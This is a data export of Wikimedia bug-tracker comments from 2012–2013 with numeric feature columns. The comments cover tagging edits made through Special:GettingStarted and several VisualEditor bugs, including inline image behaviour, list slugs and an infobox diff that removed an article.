187221,Tag edits made through Special:GettingStarted,The specs for the server-side logging API that Dario hashed out with S and me earlier this morning would totally cover this. I think we can do it. I'll shoot for getting this done in time for the deployment window next Thursday (Jan 10th).,,,1357164189,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,True,,,-26,,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,8.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,15.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,15.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,13.0,8.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,3.769230769230769,0.8461538461538461,The specs for the server-side logging API that Dario hashed out with S and me earlier this morning would totally cover this. I think we can do it. I'll shoot for getting this done in time for the deployment window next Thursday (Jan 10th).
187215,Tag edits made through Special:GettingStarted,"They're using a totally different VisualEditor-specific API back/middleend, calling the API, then calling ChangeTags::AddTags after the save is done:

https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/VisualEditor.git;a=blob;f=ApiVisualEditor.php;h=b0fe2048a450cf9ee2e158931a10bf98d8ab5723;hb=refs/heads/master#l220

That approach is not workable for us.  

They also use a hook to list it as an available tag, which we could do:

https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/VisualEditor.git;a=blob;f=VisualEditor.hooks.php;h=d4660cb0eda0fe54e2ea00905c29182a9d2f4828;hb=refs/heads/master#l53",,,1355796068,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,True,,,-28,,0.0,0.0,2.0,2.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,8.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,15.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,7.0,3.0,0.0,0.0,0.0,8.0,0.0,2.0,5.0,2.0,5.0,0.0,0.0,0.0,3.9491525423728815,0.7966101694915254,"They're using a totally different VisualEditor-specific API back/middleend, calling the API, then calling ChangeTags::AddTags after the save is done:

URL

That approach is not workable for us.  

They also use a hook to list it as an available tag, which we could do:

URL"
187209,Tag edits made through Special:GettingStarted,"(In reply to comment #3)
> Adding Maxsem as well, since he did this for MobileFrontEnd.

No, what I did was a quick AbuseFilter hack. Look in VE for real solution:)",,,1355793937,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,24.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,0.0,3.0,0.0,3.0,14.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0689655172413794,1.0,"(In reply to comment #3)
QUOTE

No, what I did was a quick AbuseFilter hack. Look in VE for real solution:)"
187205,Tag edits made through Special:GettingStarted,"**tchay** wrote:

Only newly registered users that have been onboarded, but your point is taken.

We could log a different event since logging stores log_page and join against that.",,,1355791694,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,5.0,3.0,5.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,5.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.9743589743589745,0.8461538461538461,"**tchay** wrote:

Only newly registered users that have been onboarded, but your point is taken.

We could log a different event since logging stores log_page and join against that."
187200,Tag edits made through Special:GettingStarted,"**swalling** wrote:

I'm not sure a time window and tagging of all edits by newly-registered users within the window works. Lots of users edit shortly after account creation, but are not editing one of the articles selected from the list on Special:GettingStarted. We only want edits to those pages, by people who came from the Special page.",,,1355791571,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,8.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,15.0,4.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.9178082191780823,0.7397260273972602,"**swalling** wrote:

I'm not sure a time window and tagging of all edits by newly-registered users within the window works. Lots of users edit shortly after account creation, but are not editing one of the articles selected from the list on Special:GettingStarted. We only want edits to those pages, by people who came from the Special page."
187195,Tag edits made through Special:GettingStarted,"**tchay** wrote:

Oops! Adding Andrew Garret.

The code is in ChangTags.php

Possibility?

1. Use the tags interface to create a tag on the getting started event during account creation: say ""onboarded""

2. During an edit save, you check the tags database for the tag for that user

SELECT count(*) from change_tag as ct AND logging as log WHERE ct.ct_log_id=log.log_id AND log.log_type=1 AND ct.tag=""onboarded"" AND log.log_user=$user_id AND (some time window filter?)

3. If this returns anything then you add a (different) tag to the edit tags that allows this to be tracked.",,,1355790756,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,1.0,1.0,0.0,1.0,0.0,1.5,0.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,8.5,1.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,0.0,2.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,16.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,1.5,11.0,1.5,4.0,8.5,0.0,0.0,0.5,0.0,2.5,0.0,0.5,0.0,1.5,8.5,5.5,1.5,2.0,0.0,1.5,0.0,1.5,2.0,0.0,1.5,1.0,0.0,1.5,3.954557091653866,0.7601126472094214,"**tchay** wrote:

Oops! Adding Andrew Garret.

The code is in ChangTags.php

Possibility?

1. Use the tags interface to create a tag on the getting started event during account creation: say ""onboarded""

2. During an edit save, you check the tags database for the tag for that user

SELECT count(*) from change_tag as ct AND logging as log WHERE ct.ct_log_id=log.log_id AND log.log_type=1 AND ct.tag=""onboarded"" AND log.log_user=$user_id AND (some time window filter?)

3. If this returns anything then you add a (different) tag to the edit tags that allows this to be tracked."
187190,Tag edits made through Special:GettingStarted,"**tchay** wrote:

Possibility?

You use the tags interface to",,,1355790322,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.235294117647059,0.7647058823529411,"**tchay** wrote:

Possibility?

You use the tags interface to"
187182,Tag edits made through Special:GettingStarted,"**swalling** wrote:

Adding Maxsem as well, since he did this for MobileFrontEnd.",,,1355789222,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.55,0.85,"**swalling** wrote:

Adding Maxsem as well, since he did this for MobileFrontEnd."
187177,Tag edits made through Special:GettingStarted,"**swalling** wrote:

Adding Kaldari, since he has experience adding tags for WikiLove.",,,1355783504,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,False,,,-28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.8,0.85,"**swalling** wrote:

Adding Kaldari, since he has experience adding tags for WikiLove."
187172,Tag edits made through Special:GettingStarted,"Does anyone know how to pass this along the chain (view->edit->save)?  Ideally, we could use a query string parameter.  There are no useful docs at https://www.mediawiki.org/wiki/Manual:Tags , so we'll have to dig into the code.",,,1355781256,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-sqgxilqkeecvprvfh7ro,task_subcomment,,True,c1,1,True,,,-28,,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,7.0,11.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,9.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,11.0,2.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.522727272727273,0.8636363636363636,"Does anyone know how to pass this along the chain (view->edit->save)?  Ideally, we could use a query string parameter.  There are no useful docs at URL , so we'll have to dig into the code."
45174,"Inline aliens behaving incorrectly in some cases, seems to depend on selection","Inline image (used as icon) is incorrectly alienated, sometimes (?).

Test case:

Open https://en.wikipedia.org/wiki/User:Raymond/inline_image in VisualEditor mode:

1. Thumbed image and inline image are alienated
2. Dismiss the notice bubble
3. Thumbed image is alienated, but inline image is NOT. It is clickable.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://en.wikipedia.org/wiki/User:Raymond/inline_image",High,80.0,1355677860,1360365599.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-xtwsiyvycjjuwkmu2mcm,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,3.0,1.0,7.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,16.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,2.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.522727272727273,0.5113636363636364,"Inline image (used as icon) is incorrectly alienated, sometimes (?).

Test case:

Open URL in VisualEditor mode:

1. Thumbed image and inline image are alienated
2. Dismiss the notice bubble
3. Thumbed image is alienated, but inline image is NOT. It is clickable.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
186290,"Inline aliens behaving incorrectly in some cases, seems to depend on selection","(In reply to comment #2)
> I'm not able to reproduce it. Please confirm if this still occurs to you -
> and
> if o - please provide information about your platform as well. Thanks.

As reporter of this bug I cannot reproduce it now.",,,1360359290,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-xtwsiyvycjjuwkmu2mcm,task_subcomment,,True,c1,1,False,,,-21,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,7.0,15.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8518518518518519,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

As reporter of this bug I cannot reproduce it now."
186283,"Inline aliens behaving incorrectly in some cases, seems to depend on selection",I'm not able to reproduce it. Please confirm if this still occurs to you - and if o - please provide information about your platform as well. Thanks.,,,1360356597,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-xtwsiyvycjjuwkmu2mcm,task_subcomment,,True,c1,1,False,,,-21,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,12.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,12.0,16.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,0.84375,I'm not able to reproduce it. Please confirm if this still occurs to you - and if o - please provide information about your platform as well. Thanks.
186276,"Inline aliens behaving incorrectly in some cases, seems to depend on selection","4. Click in the paragraph containing the inline image. It's now behaving correctly again.


I've seen this bug with references as well: inline aliens have incorrect hover behavior in some cases, seems to be related to where the selection is.",,,1355693611,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-xtwsiyvycjjuwkmu2mcm,task_subcomment,,True,c1,1,False,,,-29,,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,2.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,6.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,4.142857142857143,0.8367346938775511,"4. Click in the paragraph containing the inline image. It's now behaving correctly again.


I've seen this bug with references as well: inline aliens have incorrect hover behavior in some cases, seems to be related to where the selection is."
45146,VisualEditor: A slug's new contents appear not to get inserted into the DM in at least once case,"* Click into VE on https://en.wikipedia.org/wiki/User:Thehelpfulone/test
* Click cursor into one of the many LI slugs of the multiply-indented list.
* Type some contents into the slug
* Press ""left""; suddenly, the cursor is back at 0,0
* Click into the ultimate LI with ""real"" content (not the one just created) and outdent repeatedly; you will over-write the new LI as if it wasn't there (indeed, it never reaches the DM).

This may be similar to other slug bugs, given the core issue. :-)

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1355530440,1371171784.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-czuwyblk43urnavypsbt,task_description,resolved,True,c1,1,True,False,True,-29,,1.0,0.0,0.0,0.0,1.5,8.0,1.5,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.5,0.0,1.5,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,2.0,8.5,1.0,1.0,6.5,0.0,1.0,0.0,0.0,3.5,0.0,1.0,0.0,2.5,7.0,4.0,0.0,2.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.390625,0.6875,"* Click into VE on URL
* Click cursor into one of the many LI slugs of the multiply-indented list.
* Type some contents into the slug
* Press ""left""; suddenly, the cursor is back at 0,0
* Click into the ultimate LI with ""real"" content (not the one just created) and outdent repeatedly; you will over-write the new LI as if it wasn't there (indeed, it never reaches the DM).

This may be similar to other slug bugs, given the core issue. :-)

--------------------------
**Version**: unspecified
**Severity**: normal"
184648,VisualEditor: A slug's new contents appear not to get inserted into the DM in at least once case,"(In reply to comment #1)
> @James: Are you still able to reproduce it?

No; partially invalid because we no longer show lots of distinct slugged LIs for lists. :-)

> Also, I wonder if it is correct behavior that if you have completely empty by
> multiply-indented list and you press backspace in the deepest li - it delete
> entire list. Check out this video:
> https://dl.dropboxusercontent.com/u/1026938/multiplyindented.mov

This feels a bit wrong, yeah; maybe just decrease by one?",,,1371171784,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-czuwyblk43urnavypsbt,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,4.0,2.0,4.0,0.0,2.0,12.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.423076923076923,0.8076923076923077,"(In reply to comment #1)
QUOTE

No; partially invalid because we no longer show lots of distinct slugged LIs for lists. :-)

QUOTE
QUOTE
QUOTE
QUOTE

This feels a bit wrong, yeah; maybe just decrease by one?"
184644,VisualEditor: A slug's new contents appear not to get inserted into the DM in at least once case,"@James: Are you still able to reproduce it?

Also, I wonder if it is correct behavior that if you have completely empty by multiply-indented list and you press backspace in the deepest li - it delete entire list. Check out this video: https://dl.dropboxusercontent.com/u/1026938/multiplyindented.mov",,,1371002735,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-czuwyblk43urnavypsbt,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,12.0,6.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,14.0,14.0,2.0,2.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.9607843137254903,0.8431372549019608,"SCREEN_NAME: Are you still able to reproduce it?

Also, I wonder if it is correct behavior that if you have completely empty by multiply-indented list and you press backspace in the deepest li - it delete entire list. Check out this video: URL"
45103,VisualEditor: Slug oddness - Prepending text to article starting with {{Infobox ..}} removes the entire article,"Screenshot showing the diff and the editor

Steps to reproduce problem:
* Open VisualEditor on https://en.wikipedia.org/wiki/Buri_Ram_Airport
* The cursor will be on top of the article in a paragraph-placeholder with bold styling (because the first word of the article is bolded)
* Type ""a""

Expected result:
The character is inserted. Showing the diff now shows the addition of ""'''a'''"" (either above or below the {{infobox}}, doesn't really matter). Preferably below so that it is next to the paragraph it was added before.

Actual result:
The character is inserted. Visually nothing else changed (the infobox and the rest of the article are stil there). However, clicking ""Review and save"" now will show a diff where the infobox and the entire article have been removed and ""'''a'''"" was added in its place.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F9591}",High,80.0,1355443440,1371063971.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-2hzsnhrqn3e44r3w5wpx,task_description,resolved,True,c1,1,True,False,True,-29,,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,3.0,0.6666666666666666,0.3333333333333333,0.0,0.0,1.3333333333333333,3.6666666666666665,0.3333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,5.666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,1.0,0.0,0.6666666666666666,0.3333333333333333,3.6666666666666665,1.6666666666666667,1.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,11.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,7.0,3.3333333333333335,7.666666666666667,1.3333333333333333,2.6666666666666665,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,5.666666666666667,1.0,0.0,5.0,0.0,1.0,0.0,0.3333333333333333,1.0,0.0,1.0,0.0,0.0,0.6666666666666666,3.595907928388747,0.6938761011651037,"Screenshot showing the diff and the editor

Steps to reproduce problem:
* Open VisualEditor on URL
* The cursor will be on top of the article in a paragraph-placeholder with bold styling (because the first word of the article is bolded)
* Type ""a""

Expected result:
The character is inserted. Showing the diff now shows the addition of ""'''a'''"" (either above or below the {{infobox}}, doesn't really matter). Preferably below so that it is next to the paragraph it was added before.

Actual result:
The character is inserted. Visually nothing else changed (the infobox and the rest of the article are stil there). However, clicking ""Review and save"" now will show a diff where the infobox and the entire article have been removed and ""'''a'''"" was added in its place.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F9591}"
182195,VisualEditor: Slug oddness - Prepending text to article starting with {{Infobox ..}} removes the entire article,This seems to be fixed already (try to reproduce on English Wikipedia).,,,1371063948,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-2hzsnhrqn3e44r3w5wpx,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9333333333333333,This seems to be fixed already (try to reproduce on English Wikipedia).
182189,VisualEditor: Slug oddness - Prepending text to article starting with {{Infobox ..}} removes the entire article,I think I know what's the reason of this problem. I will work on it next week.,,,1364152745,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-2hzsnhrqn3e44r3w5wpx,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,0.85,I think I know what's the reason of this problem. I will work on it next week.
